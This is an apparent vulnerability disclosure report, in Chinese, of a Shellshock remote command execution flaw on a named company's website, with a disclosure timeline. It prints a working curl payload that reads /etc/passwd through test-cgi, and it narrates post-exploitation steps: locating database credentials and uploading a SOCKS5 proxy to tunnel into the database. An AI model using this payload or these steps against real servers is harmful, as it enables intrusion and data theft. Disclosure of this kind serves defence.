漏洞详情

披露状态:

2015-07-14: 细节已通知厂商并且等待厂商处理中
2015-07-15: 厂商已经确认,细节仅向厂商公开
2015-07-25: 细节向核心白帽子及相关领域专家公开
2015-08-04: 细节向普通白帽子公开
2015-08-14: 细节向实习白帽子公开
2015-08-29: 细节向公众公开

简要描述:

主站命令执行

详细说明:

c:curl>curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://www.cfsc.com.cn/cgi-bin/test-cgi
该请求不是很稳定有时候会500错误,多请求几次就好了

捕获.PNG


服务器所有目录都做了不可写权限,没办法写shell,但是,文件貌似有写的权限,如果更改文件内容写成shell是否可以呢?没敢试,毕竟是线上服务器:

捕获.PNG


找到数据库配置信息:

捕获.PNG


由于传不上去shell,想换个思路开启个python的代理,这样就可以通过代理远程连到数据库,去瞻仰一下土豪的世界。
于是在tmp目录上传了老猪的python socket5代理(可能是厂商服务器的python版本太低了2.4的,代理执行错误,把代买稍作了调整)

捕获.PNG


netstat -apn看了看的确起来了:

捕获.PNG


但是端口貌似被挡住了,连不上。
查了些资料,可以端口转发到公网ip,再进行代理。不会搞,郁闷,就这样吧

漏洞证明:

见详细

修复方案:

升级

标签: none

评论已关闭